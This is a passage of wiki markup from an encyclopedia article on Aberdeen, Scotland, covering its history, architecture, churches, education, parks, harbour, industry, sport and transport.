|[[MPs elected in the UK general election, 2005|MPs]]:|| &lt;ul&gt;&lt;li&gt;[[Anne Begg]]&lt;li&gt;[[Malcolm Bruce]]&lt;li&gt;[[Frank Doran]]&lt;/ul&gt;
|-
|[[Member of the Scottish Parliament|MSPs]]|| &lt;ul&gt;&lt;li&gt;[[Lewis Macdonald]]&lt;li&gt;[[Brian Adam]]&lt;li&gt;[[Nicol Stephen]]&lt;/ul&gt;
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Post Office and Telephone
|-
|Post town:||ABERDEEN&lt;/ul&gt;
|-
|Postal district:||AB10-AB12; AB13 (part); AB15-AB25&lt;/ul&gt;
|-
|width=&quot;45%&quot;|[[UK telephone numbering plan|Dialling Code]]:||01224
|-
|}

[[Image:Aberdeen (location).png|thumb|235px|Aberdeen's location in Scotland]] 
'''Aberdeen''' ([[Scottish Gaelic language|Scottish Gaelic]]: ''Obar Dheathain'', 'confluence of the [River] Don'), often called '''The Granite City''', is [[Scotland]]'s third largest [[City status in the United Kingdom|city]], with a population of 212,125, and the greatest part of the [[unitary authority|unitary]] [[council area]] named the [[City of Aberdeen]], which is surrounded by, but not within, the [[Aberdeenshire]] council area. Aberdeen is the chief commercial centre and [[port|seaport]] in the north-east of Scotland.

It boasts the title of '''Oil Capital of Europe''' thanks to the plentiful supply of [[crude oil]] in the [[North Sea]], and stands on a bay of the North Sea, between the mouths of the rivers [[River Don, Aberdeenshire|Don]] and [[River Dee, Aberdeenshire|Dee]]. The city is currently run by a coalition of 20 [[Liberal Democrats (UK)|Scottish Liberal Democrat]] and 3 [[Conservative Party (UK)|Conservative]] councillors.

==Coat of Arms and Motto==
The [[coat of arms]] shows a red shield bearing three triple towered castles within the double royal tressure. It is widely accepted that these represent the fortifications which from earliest times stood on the three hills where the city sprang up, namely Castle Hill, the Port or Windmill Hill (Gallowgate) and St Catherine's Hill (Adelphi). The Arms are supported by two leopards - one either side - and above, the scroll with the words 'Bon Accord'.

Legend has it that during the [[Wars of Scottish Independence]], when the Castle of Aberdeen was stormed and the English troops 'were killed all in one night', the watchword to initiate the campaign was 'Bon Accord', and it is from this massacre that the Coat of Arms and the motto originated.

==History==
Aberdeen grew up as two separate burghs - [[Old Aberdeen]] at the mouth of the Don and New Aberdeen, a fishing and trading settlement where the Denburn entered the Dee estuary. The earliest charter was granted by King [[William I of Scotland|William the Lion]] about 1179, confirming the corporate rights granted by David I. The city received other royal charters later. In 1319, the Great Charter of [[Robert I of Scotland|Robert the Bruce]] transformed Aberdeen into a property owning and financially independent community. Bruce had a high regard for the citizens of Aberdeen who had sheltered him in his days of outlawry, helped him win the Battle of Barra and slayed the English garrison at the Castle. He granted Aberdeen with the nearby Forest of Stocket. The income from this land has formed the basis for the city's Common Good Fund, which is used to this day for the benefit of all Aberdonians. 

The city was burned by [[Edward III of England]] in 1336, but was soon rebuilt and extended, and called New Aberdeen. For many centuries the city was subject to attacks by the neighbouring lords, and was strongly fortified, but the gates were all removed by 1770. In 1497 a blockhouse was built at the harbour mouth as a protection against the English. During the [[Scottish Civil War]] of 1644-47 between the Royalists and Covenanters the city was impartially plundered by both sides. In 1644, it was taken and sacked by Royalist troops comprising of Irishmen and Highlanders after the [[battle of Aberdeen]]. In 1715 the Earl Marischal proclaimed the Old Pretender at Aberdeen, and in 1745 the Duke of Cumberland resided for a short time in the city before attacking the Young Pretender. 

In the [[18th century]] a new Town Hall was built, elegantly furnished with a marble fireplace from Holland and a set of fine crystal chandeliers and sconces. The latter are still a feature in the Town House. This century also saw the beginnings of social services for the Infirmary at Woolmanhill which was opened in 1742 and the Lunatic Asylum in 1779.

The [[19th century]] was a time of considerable expansion. By 1901 the population was 153,000 and the city covered more than 6,000 acres (24 km²). In the late 18th century, the council embarked on a scheme of road improvements, and by 1805 George Street, King Street and Union Street were open, the latter a feat of extraordinary engineering skill involving the partial levelling of St Catherine's Hill and the building of arches to carry the street over Putachieside. The Denburn Valley was crossed by Union Street with a single span arch of 130 ft (40 m). Along these new streets was built the nucleus of the ''Granite City'' in buildings designed by John Smith and [[Archibald Simpson]].

The increasing economic importance of Aberdeen and the development of the shipbuilding and fishing industries brought a need for improved harbour facilities. During this century much of the harbour as it exists today was built including Victoria Dock, the South Breakwater and the extension to the North Pier. Such an expensive building programme had, of course, repercussions, and in 1817 the city was in a state of bankruptcy. However, a recovery was made in the general prosperity which followed the [[Napoleonic wars]]. Improvements in street lighting came in 1824 with the advent of gas, and a vast improvement was made to the water supply in 1830 when water was pumped from the Dee to a reservoir in Union Place. An underground sewerage system was begun in 1865 to replace the open sewers which previously ran along certain of the streets.

==Background==

[[Image:Elphinstone_Hall2.jpg|thumb|University of Aberdeen, Elphinstone Hall]]

Though Old Aberdeen, extending from the area surrounding the [[University of Aberdeen]] to the southern banks of the Don, had a separate charter,  privileges, and history, the distinction between it and New Aberdeen can no longer be said to exist. Aberdeen's popular name of the &quot;Granite City&quot;, is justified by the fact that the bulk of the city is built of [[granite]], but to appreciate its more poetical designation of the &quot;Silver City by the Golden Sands&quot;, it should be seen after a heavy rainfall when its public buildings and countless houses gleam pure and white under brilliant sunshine. It is also known as the 'Flower of Scotland', as Aberdeen has long been famous for its outstanding parks, gardens and floral displays that include 2 million roses, 11 million daffodils and 3 million crocuses. Aberdeen has won the [[Royal Horticultural Society]]'s [[Britain in Bloom]] contest on numerous occasions, and at one time was banned from entering to enable other cities to win. On [[5 March]], [[2003]] Aberdeen was granted [[Fairtrade City]] status. 

The area of the city extends to 71.22 square miles (184.46 [[square kilometre|km²]]), and includes the former burghs of Old Aberdeen, New Aberdeen, Woodside and the district of [[Torry]] to the south of the Dee. The city was first [[incorporation (municipal government)|incorporated]] in 1891. The city is represented in Westminster by two MPs who are both from the Labour party, and in the [[Scottish Parliament]] by three MSPs (one Labour, one SNP and one Liberal Democrat). The city council comprises forty-three councillors who represent the city's [[ward (politics)|wards]] and is headed by the Lord Provost. The current [[List of Provosts and Lord Provosts of Aberdeen|Lord Provost]] is John Reynolds.

As of 1996, Aberdeen has been governed by the unitary [[City of Aberdeen|Aberdeen City Council]] and no longer has any direct control over the neighbouring area of [[Aberdeenshire (unitary)|Aberdeenshire]] (although the headquarters of Aberdeenshire Council are located within the city's boundaries).

Aberdeen has good links to the rest of Scotland and the UK. The main road south to [[Edinburgh]] is a fast dual carriageway and plans are in hand to build a bypass round the city. Aberdeen is served by good rail links to the south and north to [[Inverness]], all services running from the Railway Station in the city centre. Although there are no direct sea links south any more there is still a ferry service running to [[Orkney]] and [[Shetland]]. [[Aberdeen Airport]] is located at Dyce, about 5 miles (8 km) north west of the city centre, and has frequent services to [[London]] and several international destinations.

The mean temperature is 8 °[[Celsius|C]] (47 °[[Fahrenheit|F]]) and it varies between 0.4 °C (32.7 °F) in winter and 17.6 °C  (63.7 °[[Fahrenheit|F]]) in summer. The average yearly rainfall is 816 [[millimetre|mm]]. The city is one of the healthiest in Scotland.

==Art and architecture==
[[Image:Union Street, Aberdeen.jpg|thumb|Union Street]]
[[Image:Aberdeen Market Cross.jpg|thumb|Aberdeen Market Cross]]
[[Image:marschal college.jpg|frame|right|Marischal College as seen from Upperkirkgate]]
Union Street is one of the most imposing and famous thoroughfares in Britain. From Castle Street it runs for nearly a mile (1.5 km), is 70 ft (21 m) wide, and originally contained the principal shops and most of the public buildings, all of granite. Part of the street crosses the Denburn ravine (utilized for the line of the Great North of Scotland railway) by Union Bridge, a fine granite arch of 132 ft (40 m) span, with portions of the older town still fringing the gorge, 50 feet (15 m) below the level of Union Street. Union Street was built from 1801 to 1805, and named after the 1800 Act of Union with [[Ireland]].

Amongst the notable buildings in the street are the Town and County Bank, the Music Hall 1822, the Trinity Hall of the incorporated trades (originating between 1398 and 1527), now a shopping mall; the Palace Hotel; the former office of the Northern Assurance Company, and the National Bank of Scotland. 

In Castle Street, a continuation eastwards of Union Street, is the Town House, the headquarters of the city council. One of the most splendid granite edifices in Scotland, in the Franco-Scottish Gothic style, it contains the great hall, with an open timber ceiling and oak-panelled walls; the Sheriff Court House; the Town and County Hall, with portraits of [[Albert of Saxe-Coburg-Gotha|Prince Albert]], the 4th [[Earl of Aberdeen]], various Lord Provosts and other distinguished citizens. In the vestibule of the entrance corridor stands a suit of black armour, believed to have been worn by Provost [[Sir Robert Davidson]], who fought in the [[Battle of Harlaw]] in 1411. On the south-western corner is the 210 ft (64 m) grand tower, which commands a fine view of the city and surrounding country. Adjoining the Town House is the old North of Scotland Bank building, in [[Greek Revival]] style. This building is now a pub named the [[Archibald Simpson]], after its original architect. On the opposite side of the street is the fine building of the Union Bank.

At the upper end of Castlegate stands [[The Salvation Army]] Citadel, an effective castellated mansion, on the site of the medieval castle. In front of it is the [[Market Cross]], built in 1686 by [[John Montgomery]], a native architect. This open-arched structure, 21 ft (6 m) in diameter and 18 ft (5 m) high, comprises a large hexagonal base from the centre of which rises a shaft with a Corinthian capital, on which is the royal [[unicorn]]. The base is highly decorated, including medallions illustrating Scottish monarchs from [[James I of Scotland|James I]] to [[James VII of Scotland|James VII]]. To the east of Castle Street were the military barracks, which were demolished in 1965 and replaced with two tower blocks.

Marischal College on Broad Street, opened by King [[Edward VII of the United Kingdom|Edward VII]] in 1906, is the second largest granite building in the world (after the [[Escorial]], [[Madrid]]), and is one of the most splendid examples of Edwardian architecture in Britain. The architect, [[Alexander Marshall Mackenzie]], a native of Aberdeen, adapted his material, white granite, to the design of the building with the originality of genius. This magnificent building is sadly no longer a seat of learning and is under renovation as the new home of Aberdeen City Council.

There are no tramways in Aberdeen. The last [[tram]] went through the streets on [[May 3]] [[1958]]. All trams except one were scrapped. The last tram is on display in the Transport Museum in [[Alford, Aberdeenshire]].

==Churches==
Like most Scottish burghs, Aberdeen has many churches, however, in the [[Middle Ages]] there was only one burgh kirk, St Nicholas, one of [[Scotland]]'s largest parish churches.  Like a number of other Scottish kirks, it was subdivided after the [[Reformation]], in this case into the East and West churches.

The large kirkyard of [[St Nicholas' Kirk, Aberdeen|St Nicholas' Kirk]] is separated from Union Street by a 147 ft (45 m) long Ionic facade, built in 1830.  The divided church within, with a central tower and spire, forms one continuous building, 220 ft (67 m) in length. It contains the Drum Aisle (the ancient burial-place of the Irvines of [[Drum Castle]]) and the Collison Aisle, which divide the two congregations and which formed the [[transept]]s of the [[12th-century]] church of St Nicholas (architectural detail survives from this period). The West Church was built in 1775, in the [[Palladian|Italian style]], on the site of the medieval [[nave]], the East originally in 1834 in Gothic-revival style on the site of the [[choir]]. In 1874 a fire destroyed the East Church and the old central tower with its fine peal of nine [[bell (instrument)|bells]], one of which, Laurence or &quot;Lowrie&quot;, was 4 ft (1.2 m) in diameter at the mouth, 3.5 ft (1.1 m) high and very thick. The church was rebuilt and a massive granite tower erected over the intervening aisles, a new peal of 36 bells, cast in the [[Netherlands]], being installed to commemorate the [[Victoria of the United Kingdom|Victorian]] [[Golden Jubilee|jubilee]] of 1887. These were replaced in 1950 with a carillion of 48 bells, the largest in the [[United Kingdom]].

The [[Diocese]] of Aberdeen is said to have been first founded at Mortlach in [[Banffshire]] by [[Malcolm II of Scotland|Malcolm II]] (1005-34) to celebrate his victory there over the Danes, but in 1137 [[David I of Scotland|David I]] (1124-53) transferred the [[bishopric]] to Old Aberdeen, and twenty years later [[St Machar's Cathedral]], situated a few hundred yards from the Don, was begun. Save during the episcopate of [[William Elphinstone]] ([[1484]]-[[1511]]), the building progressed slowly.  Gavin Dunbar, who followed him in 1518, completed the structure by adding the two western spires and the southern transept.  The church suffered severely at the [[Reformation]], but is still used by the [[Church of Scotland]] as a parish church.  The choir was abandoned to decay and the central tower collapsed in the course of the [[17th century]].  It now consists of the nave and the two-storeyed entrance porch (the former in use as the parish church) and the lower walls of the transepts.  These are under the care of [[Historic Scotland]], and contain an important group of late [[medieval]] bishops' tombs, protected from the weather by modern canopies.  The Cathedral is chiefly built of outlayer granite, and, though one of the plainest cathedrals in Scotland, its stately simplicity and severe symmetry lend it unique distinction.  On the unique flat panelled ceiling of the nave (first half of the [[16th century]]) are the heraldic shields of the contemporary kings of Europe, and the chief earls and bishops of [[Scotland]].  The great west window contains modern painted glass of excellent colour and design.  The Cathedral contains a number of well-preserved grave-monuments to the late medieval clergy, a rare [[Romanesque]] cross-head and an early Christian cross-slab from Seaton.

In the [[Middle Ages]], Aberdeen contained houses of the [[Carmelites]] ([[Whitefriars]]) and [[Franciscans]] ([[Greyfriars]]), the latter surviving in modified form as the chapel of [[Marischal College]] as late as the early [[20th century]].  No remains above ground.

[[St. Mary's Cathedral, Aberdeen|St. Mary's Cathedral]] is the [[Roman Catholic]] cathedral.  A [[Gothic style|Gothic]] building, it was erected in 1859. 

[[St. Andrew's Cathedral, Aberdeen|St. Andrew's Cathedral]] is the [[Scottish Episcopal Church|Scottish Episcopal]] cathedral.  The Episcopal Church in Aberdeen is notable for having consecrated the first bishop of the [[Episcopal Church in the United States of America]], [[Samuel Seabury]] ([http://justus.anglican.org/resources/bio/282.html Web Link]). The cathedral was rennovated in the [[1930s]] to commemorate the 150th anniversary of Seabury's consecration. The memorial was dedicated with a ceremony attended by the then U.S. ambassador to the UK, [[Joseph P. Kennedy, Sr]].

The cemeteries are St Peter's in Old Aberdeen, Trinity near the links, Nellfield at the junction of Great Western and Holburn Roads, Allenvale, adjoining Duthie Park and the most recent Facilities at Dyce.  There is also a crematorium and cemetery near Hazlehead.

==Education==
The first of Aberdeen's two universities, [[King's College]], was founded in 1495 by [[William Elphinstone]] (1431-1514), [[Bishop of Aberdeen]] and Chancellor of Scotland.  [[Marischal College]] was founded in New Aberdeen by George Keith, 5th Earl Marischal of [[Scotland]] in [[1593]].  These foundations were amalgamated to form the present [[University of Aberdeen]] in [[1860]].  King's and Marischal were [[Scotland]]'s third and fifth oldest universities respectively, and the fifth and seventh oldest in [[Britain]] as a whole.

[[Robert Gordon's College]] (originally Robert Gordon's Hospital) was founded in 1729 by the merchant [[Robert Gordon]], grandson of the map maker Robert Gordon of Straloch, and was further endowed in 1816 by Alexander Simpson of Collyhill.  Originally devoted to the instruction and maintenance of the sons of poor burgesses of guild and trade in the city, it was reorganized in 1881 as a day and night school for secondary and technical education, and in the 1990s became co-educational and a day-only school.  It also produced the Robert Gordon Institute of Technology, which in [[1992]] became [[The Robert Gordon University]].

[[Gray's School of Art]], founded in 1886, is one of the oldest established colleges of art in the UK.  It is situated in beautiful grounds at Garthdee on the edge of the city.  It is now incorporated into Robert Gordon University.

[[Aberdeen College]] has several campuses in Aberdeen and offers a wide variety of part-time and full-time courses leading to several different qualifications.  It the largest further education institution in Scotland.

[[Northern College]] was a [[teacher]] training college with campuses in Aberdeen and Dundee.  In 2000, the Aberdeen campus of Northern College became the University of Aberdeen School of Education.

[[Aberdeen Grammar School]], (now comprehensive, despite its name) founded in 1263 and one of the oldest schools in Britain, was removed in 1861-1863 from its old quarters in Schoolhill to a large new building, in the [[Scottish baronial style]], off Skene Street.  One famous alumnus of the Grammar School is [[George Gordon Byron, 6th Baron Byron|Lord Byron]].

There are 12 secondary schools and 54 primary schools which are run by the city council in the city.  There are also a small number of private schools.  Albyn School for Girls (co-ed as of 2006) and St Margaret's girls school, both in the beautiful granite Queen's Road area just West of the city centre, are two of the better private schools in Scotland.  There's also a small French-language school (one of the few in Britain) catering to the oil industry families, an &quot;IB&quot; International school, and a Steiner school.

At [[Blairs]], in [[Kincardineshire]], five miles (8 km) S.W. of Aberdeen, is St Mary's Roman Catholic College, currently ([[2006]]) disused, built for the training of young men intended for the priesthood, with plans to turn it into a hotel.

==Culture==
[[Image:Playhouseaberdeen.jpg|thumb|250px|left|His Majesty's Theatre, Aberdeen.]]
The city is blessed with amenities which cover a wide range of cultural activities and boasts a selection of museums. The Aberdeen Art Gallery houses a collection of Impressionist, Victorian, Scottish and 20th Century British paintings as well as collections of silver and glass. It also includes The Alexander Macdonald Bequest, a collection of late 19th century works donated by the museum's first benefactor and a constantly changing collection of contemporary work and regular visiting exhibitions.

The Aberdeen Maritime Museum, located in Shiprow, tells the story of Aberdeen's links with the sea from the days of sail and clipper ships to the latest oil and gas exploration technology. The museum includes a range of interactive exhibits and models, including an 8.5m (28 feet) high model of the Murchison oil production platform and a 19th Century assembly taken from Rattray Head lighthouse.

Provost Ross' House is the second oldest dwelling house in the city. It was built in 1593 and became the residence of Provost John Ross of Arnage in 1702. The house retains some original medieval features, including a kitchen, fire places and beam-and-board ceilings. The Gordon Highlanders Regimental Museum tells the story of one of Scotland's best known regiments. 

The Marischal Museum holds the principal collections of the University of Aberdeen, comprising some 80,000 items in the areas of fine art, Scottish history &amp; archaeology, and European, Mediterranean &amp; Near Eastern archaeology. The museum is open to the public, but also provides an important resource for the University's students and researchers. The permanent displays and reference collections are augmented by regular temporary exhibitions.

[[Image:Centrallibraryoutside.jpg|thumb|250px|right|Central Library, Aberdeen.]]Aberdeen's museums and attractions include:

*[[Aberdeen International Youth Festival]]
*Aberdeen Art Gallery
*Aberdeen Maritime Museum
*Provost Ross' House
*The Gordon Highlanders Museum
*Marischal Museum
*James Dun's House
*King's College Visitor and Conference Centre
*Museum of Education Victorian Classroom
*Provost Skene's House
*Tolbooth Museum
*Doonies Farm
*Marischal College
*Aberdeen Arts Centre 
*The Lemon Tree
*[[Pittodrie|Pittodrie football stadium]]

* The Aberdeen Central Public Library contains more than 60,000 volumes.
 
* His Majesty's Theatre (1906) is a fine granite theatre which provides a home for popular entertainments.
It has a 1,500 capacity and is one of the most beautiful major touring theatres in Britain.

* Doonies Farm has one of the largest collections in Scotland of endangered breeds of farm animals. Open to the public, the farm is nationally recognized as a breeding centre for rare breeds and is situated on the old coast road between the Bay of Nigg and Cove.

==Parks and open spaces==
'''Duthie Park''' 50 acres (202,000 m²)), situated on Riverside Drive, was named after and gifted to the city by Miss Elizabeth Crombie Duthie of Ruthrieston in 1881 and opened by Princess Beatrice on [[27 September]] [[1883]]. It  
occupies an excellent site on the north bank of the Dee and includes extensive gardens, a rose hill, boating pond, bandstand, and play area as well as the David Welch Winter Gardens. First opened in 1899, the Winter Gardens were rebuilt in 1970 following storm damage and extended. They are Europe's largest indoor gardens and one of the most visited in Scotland.

'''Victoria Park''' 13 acres (53,000 m²) opened in 1871, is a beautiful park situated in the north-western area. There is a conservatory used as a seating area and a fountain made of 14 different granites, presented to the people by the granite polishers and master builders of Aberdeen.

'''Westburn Park''' 13 acres (53,000 m²) opposite Victoria Park, caters for football and tennis, has a children's cycle track and a play area. An open section of the Westburn runs through the park.

'''Stewart Park''' (15 acres (61,000 m²) opened in 1894. The park was named after a former Lord Provost of the city, Sir David Stewart; a section is reserved for [[cricket]] and [[football (soccer)|football]].

'''Hazlehead Park''' is a large, heavily wooded park on the outskirts of the city. It is popular with sports enthusiasts, walkers, naturalists and picnickers. Around the park are football pitches, two golf courses, pitch and putt course, a horseriding school and woods for walking. The park has a significant collection of sculpture by a range of artists and heritage items which have been rescued from various places within the city. It also features Scotland's oldest maze, first planted in 1938.

'''Aberdeen Beach/Queen's Links''' is a well-loved and extremely popular recreational area of the city, visited by holidaymakers and city residents all year round. The area is well provided with sporting and recreational facilities, including the Beach Leisure Centre and the Lynx Ice Arena, cafes, restaurants, a fun fair, a multiplex cinema, a nightclub and other attractions.

'''Johnston Gardens''' is also a great park worth visiting. Situated behind Queen's Road and just beside Nellfield Terrace. It hosts many different types of flowers and plants which have been renowned for their beauty. Johnston Gardens also won many 'Britain in Bloom' competitions. Aberdeen itself has won the title of best city 'In Bloom' for 9 nine years in a row.

'''Seaton Park''' (270,000 m²) is located in the north of the city and was purchased by the Council in 1947 from Major Hay. Beside the park's south gates stands St Machar's Cathedral. There are flowerbeds and a walled garden beside the old stables, which have been converted for housing. The Cathedral Walk is always a resplendent sight in midsummer and one of the most popular with visitors to the city. Seaton Park is also an access point for the River Don and there is a walk from the park to the city boundary.

'''[[Union Terrace Gardens]]''' forms a popular rendezvous location in the heart of the city.

==Statues==
Adjacent to [[Union Terrace Gardens]] stands a colossal bronze statue of [[William Wallace]], by W. G. Stevenson. Also nearby these same gardens are a bronze statue of [[Robert Burns]] and [[Charles Marochetti]]'s seated figure of [[Prince Albert of Saxe-Coburg-Gotha|Prince Albert]].

In front of Robert Gordon's College is the bronze statue, by T. S. Burnett, of [[Charles George Gordon|General Gordon]]. At the head of Queen's Road stands the bronze statue of Queen Victoria, erected in 1893 by the royal tradesmen of the city. Near the Cross stands the granite statue of George Gordon, 5th Duke of Gordon.

There is a 70 ft (21 m) high [[obelisk]] of [[Peterhead]] granite, originally erected in the square of Marischal College, to the memory of Sir James McGrigor (1778-1851), the military surgeon and director-general of the Army Medical Department, who was thrice elected lord [[rector]] of the College. In the [[1890s]] when the College was extended, the obelisk was moved to the Duthie Park.There is also a statue commemorating Lord Byron in Aberdeen Grammar School in the front grounds.

==Bridges==
The Dee is crossed by a number of bridges, from west to east:
*Bridge of Dee
*King George VI Bridge
*Railway bridge
*Wellington Suspension Bridge
*Queen Elizabeth II Bridge
*Victoria Bridge

Until 1832, the only access to the city from the south was the Bridge of Dee. It consists of seven semicircular ribbed arches, is about 30 ft (10 m) high, and was built early in the [[16th century]] by Bishops Elphinstone and Dunbar. It was nearly all rebuilt 1718-1723, and in 1842 was widened from 14 to 26 ft (4 to 8 m). This was the site of a battle in 1639 between the Royalists under Viscount Aboyne and the Covenanters who were led by the Marquis of Montrose.

The Bridge of Don has five granite arches, each 75 ft (23 m) in span, and was built 1827-1832. A little to the west is the Auld [[Brig o' Balgownie]], a picturesque single arch spanning the deep black stream, said to have been built by [[Robert I of Scotland|King Robert I]], and celebrated by [[George Gordon Byron, 6th Baron Byron]] in the tenth canto of &quot;[[Don Juan]]&quot;.

==Harbour==
[[Image:Aberdeen Harbour.jpg|thumb|right|A ship in Aberdeen Harbour.]]
Aberdeen Harbour is the principal commercial port in northern Scotland and an international port for general cargo, roll-on/roll-off and container traffic. 

Originally, the defective harbour, with a shallow sand and gravel bar at its entrance, retarded the trade of Aberdeen, but under various acts since 1773 it was greatly deepened. The north pier, built partly by [[John Smeaton]] [[1770s|1775-1781]], and partly by [[Thomas Telford]]  [[1810s|1810-1815]], extends nearly 3,000 ft (1000 m) into the [[North Sea]] and raised the bar. A wet dock of 29 acres (117,000 m²) and with 6000 ft (1800 m) of quay, was completed in 1848 and called Victoria Dock in honour of the queen's visit to the city in that year. Adjoining it is the Upper Dock. By the [[Harbour Act of 1868]], the Dee near the harbour was diverted from the south at a cost of £80,000, and 90 acres (364,000 m²) of new ground, in addition to 25 acres (101,000 m²) formerly made up, were provided on the north side of the river for the Albert Basin (with a graving dock), quays and warehouses. A 1050 ft (320 m) long concrete [[breakwater]] was constructed on the south side of the stream as a protection against south-easterly gales. On Girdleness, the southern point of the bay, a [[lighthouse]] was built in 1833. Thirty-two people were drowned in the harbour on [[5 April]] [[1876]], in the [[River Dee Ferry Boat Disaster]]. Aberdeen Harbour was the first publicly limited company in the United Kingdom. A harbour in [[Hong Kong]] has been named [[Aberdeen Harbour]], supposedly by ex-patriots from the Scottish city.

==Industry==
Owing to the variety and importance of its chief industries Aberdeen is one of the most prosperous cities in Scotland. Very durable grey granite was [[quarry|quarried]] at Rubislaw quarry for more than 300 years, and blocked and dressed paving &quot;setts&quot;, kerb and building stones, and monumental and other ornamental work of granite have long been exported from the district to all parts of the world. Quarrying finally ceased in 1971.

This, though once the predominant industry, was surpassed by the deep-sea fisheries, which derived a great impetus from improved technologies throughout the twentieth century. Lately, however, catches have fallen due to overfishing in previous years, and the use of the harbour by oil support vessels. Aberdeen remains an important fishing port, but the catch landed there is now eclipsed by the more northerly ports of [[Peterhead]] and [[Fraserburgh]]. The [[Fisheries Research Service]] is based in Aberdeen, including its headquarters and a marine research lab.

Most of the leading pre-1970s industries date from the [[18th century]], amongst them [[wool]]lens (1703), [[linen]] (1749), and [[cotton]] (1779). These gave employment to several thousands of operatives. The [[paper]]-making industry is one of the most famous and oldest in the city, paper having been first made in Aberdeen in 1694. [[Flax]]-[[spinning]] and [[jute]] and [[comb]]making factories also flourished, along with successful [[foundry|foundries]] and engineering works.

In the days of wooden ships [[ship-building]] was a flourishing industry, the town being noted for its fast [[clipper]]s, many of which established records in the &quot;[[tea]] races&quot;. The introduction of trawling revived this to some extent, and despite the distance of the city from the [[iron]] fields there was a fair yearly output of iron vessels. The last major shipbuilder in Aberdeen, Hall Russells, closed in the late 1980's.

With the discovery of significant oil deposits in the North Sea during the late [[twentieth century]], Aberdeen became the centre of [[Europe]]'s [[petroleum]] industry, with the port serving [[oil rig]]s off-shore. The number of jobs created by the energy industry in and around Aberdeen has been estimated at half a million. In 1988, the city was dealt a heavy blow by the loss-of-life suffered during an explosion and fire aboard one such rig, the [[Piper Alpha]].

==Population==
In 1396 the population was about 3,000. By 1801 it had become 26,992; in 1841 it was 63,262; (1891) 121,623; (1901) 153,503; in 2001 it was 197,328.

==Sport==
[[Aberdeen Football Club]] was founded in 1903. Its major success was winning the [[European Cup Winners Cup]] in 1983 and three League Championships between 1980 and 1986, under the current [[Manchester United F.C.]] manager [[Alex Ferguson]]. The club's stadium is [[Pittodrie]] which holds the distinction of being Britain's first all-seater stadium. 

Aberdeen F.C. holds the distinction of being the last team to have won the [[Scottish Premier League]] Championship outside the [[Old Firm]] and is the only Scottish team to have won two European trophies adding to their European Cup Winners Cup success by winning the [[European Super Cup]] also in 1983. 

Well known footballers who have played for the club include [[Gordon Strachan]] (Current Celtic manager), [[Alex McLeish]] (Current Rangers manager) and club legend [[Willie Miller]]. [[Denis Law]], the joint top scorer for the Scotland national team was also born in the city, but spent his professional career playing for English and Italian clubs.

Aberdeen Golf Club was founded in 1815. It has two 18-hole courses at Balgownie, north of the River Don. There are other golf courses at Auchmill, Balnagask, Hazlehead and King's Links.

==Transport==

There are four main roads serving the city; 

* [[A90 road|A90]] The main arterial route into the city from the South, linking Aberdeen to [[Edinburgh]], [[Dundee]] and [[Perth, Scotland|Perth]].  
* [[A96 road|A96]] Links to [[Elgin, Moray|Elgin]] and [[Inverness]] and the North West.
* [[A93 road|A93]] The main route to the West, heading towards [[Royal Deeside]] and the [[Cairngorms]].
* [[A92 road|A92]] The original southerly road to Aberdeen prior to the building of the A90, now used as a tourist route, connecting the towns of [[Montrose, Angus|Montrose]], [[Arbroath]] and [[Brechin]] on the east coast.

The city's original ring road, Anderson Drive, which was built in the 1930s has long since been engulfed by the expansion of the city, and is inadequate for dealing with today's traffic.  To this end, a new main bypass road, the Western Peripheral Route, is planned to divert through traffic away from the city centre. The road is due to open in 2010. 

The city is well served by the national [[railway]] network.  Aberdeen has regular rail services to [[Glasgow]] and Edinburgh as well as long distance trains to [[London]] via Edinburgh. It is possible to take the longest scheduled rail journey in the whole of the UK from Aberdeen. A daily service runs from Aberdeen to [[Penzance]] in [[Cornwall]], which is 722 miles (1,162 km) and twelve and three quarter hours away. Regular trains also run north westerly towards Inverness and north to [[Dyce]] for the airport.

Aberdeen also has an [[airport]] in the neighbouring town of Dyce, which is operated by [[BAA plc]]. As well as connecting the city to the rest of the UK, [[Aberdeen Airport]] (sometimes refererred to as ''Dyce Airport'') is the largest [[helicopter]] terminal in the world, serving the many North Sea oil installations. The [[IATA airport code]] for the airport is ABZ.

== Wards of the City of Aberdeen ==
[[Ashley, Aberdeen|Ashley]], [[Auchmill]], [[Bankhead and Stoneywood, Aberdeen|Bankhead and Stoneywood]], [[Berryden]], [[Broomhill, Aberdeen|Broomhill]], [[Bridge of Don]], [[Castlehill, Aberdeen|Castlehill]], [[Cults]], [[Cummings Park, Aberdeen|Cummings Park]], [[Danestone]], [[Donmouth]], [[Duthie]], [[Dyce]], [[Garthdee]], [[Gilcomston]], [[Hazelhead]], [[Hilton, Aberdeen|Hilton]], [[Holburn]], [[Jesmond, Aberdeen|Jesmond]], [[Kincorth]] East, [[Kincorth]] West, [[Kittybrewster]], [[Langstane]], [[Loirston]], [[Mannofield]], [[Mastrick]], [[Midstocket]], [[Murtle]], [[Newhills]], [[Oldmachar]], [[Peterculter]], [[Pittodrie]], [[Queen's Cross, Aberdeen|Queen's Cross]], [[St. Machar]], [[Seaton]], [[Sheddocksley]], [[Springhill, Aberdeen|Springhill]], [[Stockethill]], [[Summerhill, Aberdeen|Summerhill]], [[Sunnybank, Aberdeen|Sunnybank]], [[Torry]], [[Tullos]], [[Woodside, Aberdeen|Woodside]] and [[Tillydrone]]

== Twinned cities worldwide ==
Aberdeen is [[Town twinning|twinned]] with several cities across Europe and throughout the rest of the world. These include:
{|
| valign=&quot;top&quot; |
* {{flagicon|Germany}} - [[Regensburg]], [[Germany]]
* {{flagicon|France}} - [[Clermont-Ferrand]], [[France]]
* {{flagicon|Norway}} - [[Stavanger]], [[Norway]]
| valign=&quot;top&quot; |
* {{flagicon|Belarus}} - [[Gomel]], [[Belarus]]
* {{flagicon|Zimbabwe}} - [[Bulawayo]], [[Zimbabwe]]
|}

==See also==
*[[List of Aberdonians]]
*[[List of Bishops of Aberdeen]]
*[[List of Provosts and Lord Provosts of Aberdeen]]

==External links==
{{commonscat}}
*[http://www.aberdeencity.gov.uk/acc/default.asp Aberdeen City Council]
*[http://www.scots-online.org/grammar/aberdeen.htm Aberdeen Dialect]
*[http://www.touchaberdeen.com/ Aberdeen Business portal]
{{oscoor gbx|NJ925065}}
{{Scottish Cities}}
[[Category:Aberdeen| ]]
[[Category:Scottish names]]

[[da:Aberdeen]]
[[de:Aberdeen]]
[[et:Aberdeen]]
[[es:Aberdeen]]
[[eo:Aberdeen]]
[[fa:ابردین]]
[[fr:Aberdeen]]
[[gl:Aberdeen, Escocia]]
[[ja:アバディーン (スコットランド)]]
[[mk:Абердин]]
[[nl:Aberdeen]]
[[no:Aberdeen]]
[[nn:Aberdeen]]
[[pl:Aberdeen (Szkocja)]]
